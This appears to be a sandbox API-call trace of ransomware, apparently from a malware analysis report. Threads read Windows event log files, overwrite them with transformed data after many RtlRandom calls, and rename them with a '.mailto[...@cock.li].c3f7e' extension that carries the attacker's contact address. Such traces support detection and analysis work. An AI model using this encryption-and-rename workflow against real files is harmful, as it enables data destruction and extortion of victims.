	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xd7689d2e
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x7c5e6b29
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x3f39dd55
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xdcd0b288
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x4d7d602d
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x69e36308
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xb6efc6b3
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xa5e7ecab
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x48cfab08
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x674fa072
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x8f447351
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xbe6a612b
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x2f762ab
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x95e0ee1d
	[0080.606] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0080.608] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.608] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0080.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.608] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x496b830
	[0080.609] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.609] ReadFile (in: hFile=0x9d4, lpBuffer=0x496b830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1113fdc0, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x1113fdc0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.017] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0081.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0081.021] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.022] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.022] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.022] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0081.022] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.022] WriteFile (in: hFile=0x9d4, lpBuffer=0x4877040*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1113fdc0, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesWritten=0x1113fdc0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0081.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x496b830) returned 1
	[0081.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x4753890
	[0081.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa898
	[0081.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0081.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338e8
	[0081.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338e8) returned 1
	[0081.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e04978
	[0081.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338e8
	[0081.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338e8) returned 1
	[0081.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0081.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa898) returned 1
	[0081.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14f) returned 0x2d88cb8
	[0081.159] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.159] WriteFile (in: hFile=0x9d4, lpBuffer=0x2d88cb8*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0x1113fe40, lpOverlapped=0x0 | out: lpBuffer=0x2d88cb8*, lpNumberOfBytesWritten=0x1113fe40*=0x14f, lpOverlapped=0x0) returned 1
	[0081.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88cb8) returned 1
	[0081.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0081.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0081.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0081.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0081.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0081.284] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476ac28
	[0081.284] wcscpy (in: _Dest=0x476ac28, _Source="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx"
	[0081.284] wcscat (in: _Dest=0x476ac28, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.284] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1113fdf8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.284] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477d538
	[0081.284] NtSetInformationFile (FileHandle=0x9d4, IoStatusBlock=0x1113fdf0, FileInformation=0x477d538, Length=0xcc, FileInformationClass=0xa) returned 0x0
	[0087.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d538) returned 1
	[0087.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47714f0) returned 1
	[0087.809] NtQueryInformationFile (in: FileHandle=0x9d4, IoStatusBlock=0x1113fe04, FileInformation=0x1113fddc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1113fe04, FileInformation=0x1113fddc) returned 0x0
	[0087.810] NtSetInformationFile (FileHandle=0x9d4, IoStatusBlock=0x1113fe04, FileInformation=0x1113fddc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ac28) returned 1
	[0087.811] FlushFileBuffers (hFile=0x9d4) returned 1
	[0092.925] CloseHandle (hObject=0x9d4) 

Thread:
	id = 418
	os_tid = 0x15b0

	[0076.957] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20
	[0081.350] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0081.364] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1414
	[0081.364] GetFileSizeEx (in: hFile=0x1414, lpFileSize=0x111bfebc | out: lpFileSize=0x111bfebc*=69632) returned 1
	[0081.364] SetFilePointerEx (in: hFile=0x1414, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.364] ReadFile (in: hFile=0x1414, lpBuffer=0x111bfe40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x111bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x111bfe40*, lpNumberOfBytesRead=0x111bfe3c*=0x4, lpOverlapped=0x0) returned 1
	[0081.376] SetFilePointerEx (in: hFile=0x1414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c08
	[0081.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33848
	[0081.377] NtQuerySystemTime (in: CurrentTime=0x111bfe1c | out: CurrentTime=0x111bfe1c*=132251868081088070) returned 0x0
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xd63aeaca
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xee50ea9b
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x3f2f2351
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x63607c13
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x63d313e2
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xd7341253
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x898b9c31
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xb39546ea
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xefcf988f
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x586663cf
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xd7c35ed8
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x52d80205
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xae097068
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xcd1ec6b0
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x386d6e35
	[0081.377] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x9ed5de9d
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xebe5234a
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xd353a123
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x82c1765c
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xd23f868b
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x61869ed4
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x81cc3f07
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x42c60d28
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xe17cdcdd
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xe33325e5
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x69860d7
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x80c801ca
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xa5049b36
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x21158ce8
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x53638d2e
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0x70efa782
	[0081.378] RtlRandom (in: Seed=0x111bfe28 | out: Seed=0x111bfe28) returned 0xa8b0668e
	[0081.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b18
	[0081.386] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338e8
	[0081.387] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.387] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33848) returned 1
	[0081.387] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48fb048
	[0081.387] SetFilePointerEx (in: hFile=0x1414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.387] ReadFile (in: hFile=0x1414, lpBuffer=0x48fb048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x111bfdfc, lpOverlapped=0x0 | out: lpBuffer=0x48fb048*, lpNumberOfBytesRead=0x111bfdfc*=0xc800, lpOverlapped=0x0) returned 1
	[0081.388] SetFilePointerEx (in: hFile=0x1414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb97e8
	[0081.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33960
	[0081.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.390] WriteFile (in: hFile=0x1414, lpBuffer=0x4fb97e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x111bfdfc, lpOverlapped=0x0 | out: lpBuffer=0x4fb97e8*, lpNumberOfBytesWritten=0x111bfdfc*=0xc800, lpOverlapped=0x0) returned 1
	[0084.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb97e8) returned 1
	[0084.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48fb048) returned 1
	[0084.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x2e046a8
	[0084.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x2e04180
	[0084.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14d) returned 0x2d884f0
	[0084.760] SetFilePointerEx (in: hFile=0x1414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.760] WriteFile (in: hFile=0x1414, lpBuffer=0x2d884f0*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x111bfe7c, lpOverlapped=0x0 | out: lpBuffer=0x2d884f0*, lpNumberOfBytesWritten=0x111bfe7c*=0x14d, lpOverlapped=0x0) returned 1
	[0084.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0084.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0084.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33960) returned 1
	[0084.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c08) returned 1
	[0084.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b18) returned 1
	[0084.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338e8) returned 1
	[0084.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2d920
	[0084.763] wcscpy (in: _Dest=0x4f2d920, _Source="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx"
	[0084.763] wcscat (in: _Dest=0x4f2d920, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.763] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x111bfe34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477c380
	[0084.763] NtSetInformationFile (FileHandle=0x1414, IoStatusBlock=0x111bfe2c, FileInformation=0x477c380, Length=0xca, FileInformationClass=0xa) returned 0x0
	[0087.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c380) returned 1
	[0087.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924960) returned 1
	[0087.782] NtQueryInformationFile (in: FileHandle=0x1414, IoStatusBlock=0x111bfe40, FileInformation=0x111bfe18, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x111bfe40, FileInformation=0x111bfe18) returned 0x0
	[0087.782] NtSetInformationFile (FileHandle=0x1414, IoStatusBlock=0x111bfe40, FileInformation=0x111bfe18, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.793] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d920) returned 1
	[0087.794] FlushFileBuffers (hFile=0x1414) returned 1
	[0092.886] CloseHandle (hObject=0x1414) 

Thread:
	id = 419
	os_tid = 0x15b4

	[0076.958] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20
	[0081.390] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", dwFileAttributes=0x20) returned 1
	[0081.392] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1418
	[0081.392] GetFileSizeEx (in: hFile=0x1418, lpFileSize=0x1123fce8 | out: lpFileSize=0x1123fce8*=69632) returned 1
	[0081.392] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.392] ReadFile (in: hFile=0x1418, lpBuffer=0x1123fc6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1123fc68, lpOverlapped=0x0 | out: lpBuffer=0x1123fc6c*, lpNumberOfBytesRead=0x1123fc68*=0x4, lpOverlapped=0x0) returned 1
	[0081.393] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.393] NtQuerySystemTime (in: CurrentTime=0x1123fc48 | out: CurrentTime=0x1123fc48*=132251868081244314) returned 0x0
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xe0631cfa
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x7fd67433
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x722bd180
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xd702f803
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xa4d47456
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xfa1c0660
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xd050596
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x1d5df8dd
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x3b406189
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x36b25163
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x4a67f658
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x87f808ae
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x1beef4e2
	[0081.393] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xf0b1415c
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x5984531
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x466dd244
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xc0eaf58e
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xb1d8c97
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x5a8834d5
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x593287ab
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x9939f121
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xeab98ace
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xf6ca69c6
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x2656a37b
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x8e35a91b
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xc44562f8
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xa3472bc4
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x5eff33a4
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0x59c1638
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xb271aaba
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xf1344e4d
	[0081.394] RtlRandom (in: Seed=0x1123fc54 | out: Seed=0x1123fc54) returned 0xca882b1f
	[0081.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338c0
	[0081.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
